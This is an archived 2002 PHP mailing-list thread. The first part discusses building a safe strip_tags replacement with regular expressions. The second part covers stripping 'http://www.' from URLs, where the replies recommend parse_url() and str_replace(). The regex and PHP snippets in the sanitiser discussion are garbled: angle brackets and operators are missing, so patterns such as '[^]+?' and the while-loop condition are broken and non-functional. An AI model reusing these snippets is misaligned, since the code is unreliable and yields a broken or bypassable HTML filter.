better, to scanb for everything EXCEPT a certain character).

So I once took this approach:

Step 1 - extract all allowed tags
Step 2 - htmlentitize the string
Step 3 - put the pieces together again

You need to consider that there may be multiple possibilities to write a
link tag (other tags too):
a href=foo title=bar
 a title = bar href = foo any=other
etc etc.

So you must be looking for the href portion, enclosed by (encoded) angle
brackets:
$re = '/(.*?)(\s*a\s*[^]+?href.*?)(.*)/i';
This reads as
(   build a group
.*? with anything until the very next '' (below)
)   end group
(   build a group 
   beginning with ''
\s*a\s+ followed by optional blanks and an 'a' followed by at least one
blank
[^]*?  followed by anything EXCEPT '' until the very next
hrefhref
.*? followed by anything until the very next
   ''
)   end group
The 'i' modifier makes that expression case insenitive.

Next we parse the whole buffer for the href:

$result = null;
while ($buffer  $preg_match($re, $buffer, $aresult)) {
// $aresult is:
// [0] - whole buffer
// [1] - pre-match
// [2] - matched group
// [3] - post match
$result .= htmlentities($aresult[1]) . $aresult[2];
$buffer = $aresult[3];
}
$result .= $buffer;

This loops through the data buffer, applying htmlentities() to all parts
except any link tag.

Of course this example only works for the a href tag. If you have
multiple tags (and you _do_ have them since you also need to check for the
/a tag), find ANY tag and check if they are valid:
$re = '/(.*?)(\s*)(\/?)([^]*?)(\s*)(.*)/';
preg_match will create the following result array:
[0] - whole buffer
[1] - prematch
[2] - tag opener incl. opt. blanks
[3] - optional '/' for the closing tag
[4] - tag contents
[5] - tag closer incl. opt. blanks
[6] - postmatch
You can then, within your loop, analyze the tag contents (entry [4]) and
decide how to proceed.


-- 
   O Ernest E. Vogelsinger 
   (\) ICQ #13394035 
^ http://www.vogelsinger.at/

Re: [PHP] Preg_replace question

[Justin French]

I've been down the road of attempting to do this with regular expressions...
i'm no expert, but i work with people who are, and it was a nightmare

given that the following are common/valid

href=something.php
href = 'something.php'
href='something.php'
href = something.php
href=something.php

AND you'll have potentially MANY tags with MANY allowed attributes, it turns
into quite a complex regexp really quickly...

i decided that I should probably do it all with a parser, or even a
char-by-char analysis/state engine, but never got much further...


Justin French




on 22/11/02 1:38 AM, David Russell ([EMAIL PROTECTED]) wrote:

 Hi all,
 
 Following on from a previous discussion, I am trying to write a safe
 strip_tags function.
 
 I start by applying htmlentities to the entire string, and then convert
 allowed tags back.
 
 One of the steps I am looking at doing is to replace something lt;a
 href=blah onmouseover=blahgt; with a href=blah
 
 What would be a good preg_replace string for this?
 
 Preg_replace('/(lt;A)/i', 'a', $htmlstring);
 
 Except I need to keep the href=anything as well as the closing ,
 but drop everything else.
 
 I will be googling on this too, but a reply from this group is always
 quicker g
 
 Thanks
 
 David Russell
 IT Support Manager
 Barloworld Optimus (Pty) Ltd
 Tel: +2711 444-7250
 Fax: +2711 444-7256
 e-mail: [EMAIL PROTECTED]
 web: www.BarloworldOptimus.com
 

Justin French

http://Indent.com.au
Web Developent  
Graphic Design



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[PHP] preg_replace question

[electroteque]

how could i remove http://www. ot of a url string sing preg_replace ?



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Re: [PHP] preg_replace question

[Chris Shiflett]

--- electroteque [EMAIL PROTECTED] wrote:
 how could i remove http://www. ot of a url string using
preg_replace?

No need to reinvent the wheel for this. Just use parse_url() instead:

http://www.php.net/manual/en/function.parse-url.php

Chris

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Re: [PHP] preg_replace question

[1LT John W. Holmes]

 --- electroteque [EMAIL PROTECTED] wrote:
  how could i remove http://www. ot of a url string using
 preg_replace?
 
 No need to reinvent the wheel for this. Just use parse_url() instead:
 
 http://www.php.net/manual/en/function.parse-url.php
 

Or just str_replace(). No need for regular expressions.

http://www.php.net/manual/en/function.str-replace.php

---John Holmes...

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RE: [PHP] preg_replace question

[Dan Rossi]

looks like it returns www in the host array a bit silly when i need just the
bits afterwards to do a gethostbyname

-Original Message-
From: Chris Shiflett [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 21, 2002 7:41 AM
To: electroteque; [EMAIL PROTECTED]
Subject: Re: [PHP] preg_replace question


--- electroteque [EMAIL PROTECTED] wrote:
 how could i remove http://www. ot of a url string using
preg_replace?

No need to reinvent the wheel for this. Just use parse_url() instead:

http://www.php.net/manual/en/function.parse-url.php

Chris


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RE: [PHP] preg_replace question

[Dan Rossi]

this is fine but it didnt parse in just www.domain.com

-Original Message-
From: Chris Shiflett [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 21, 2002 7:41 AM
To: electroteque; [EMAIL PROTECTED]
Subject: Re: [PHP] preg_replace question


--- electroteque [EMAIL PROTECTED] wrote:
 how could i remove http://www. ot of a url string using
preg_replace?

No need to reinvent the wheel for this. Just use parse_url() instead:

http://www.php.net/manual/en/function.parse-url.php

Chris

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RE: [PHP] preg_replace question

[Dan Rossi]

getting really annoying one url will work where another one wont

//$formatted_url = preg_replace(/\b((http(s?):\/\/)|(www\.))\b/i, ,
$url);
//$formatted_url =
preg_replace(/\b((http(s?):\/\/)|(www\.))([\w\.]+)([\/\w+\.]+)\b/i, $5,
$url);
$formatted_url = eregi_replace(^(.{2,6}://)?([^:]*)?([^/]*)?(.*), 
\\2,
$url);

tried all these dont work

some urls will have http://www. some will only have www. some will have
:1023 for forced ports and they all will have /directory afterwards i just
need domain.com for example :|

-Original Message-
From: 1LT John W. Holmes [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 21, 2002 7:48 AM
To: [EMAIL PROTECTED]; electroteque; [EMAIL PROTECTED]
Subject: Re: [PHP] preg_replace question


 --- electroteque [EMAIL PROTECTED] wrote:
  how could i remove http://www. ot of a url string using
 preg_replace?

 No need to reinvent the wheel for this. Just use parse_url() instead:

 http://www.php.net/manual/en/function.parse-url.php


Or just str_replace(). No need for regular expressions.

http://www.php.net/manual/en/function.str-replace.php

---John Holmes...


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RE: [PHP] preg_replace question

[Chris Shiflett]

--- Dan Rossi [EMAIL PROTECTED] wrote:
 some urls will have http://www. some will only have www. some will
 have :1023 for forced ports and they all will have /directory
 afterwards i just need domain.com for example :|

Out of curiosity, did you not read the replies to your initial
question? I recall saying this:

 Just use parse_url() instead:

 http://www.php.net/manual/en/function.parse-url.php

I recall seeing John Holmes say this:

 Or just str_replace(). No need for regular expressions.
 
 http://www.php.net/manual/en/function.str-replace.php

Chris

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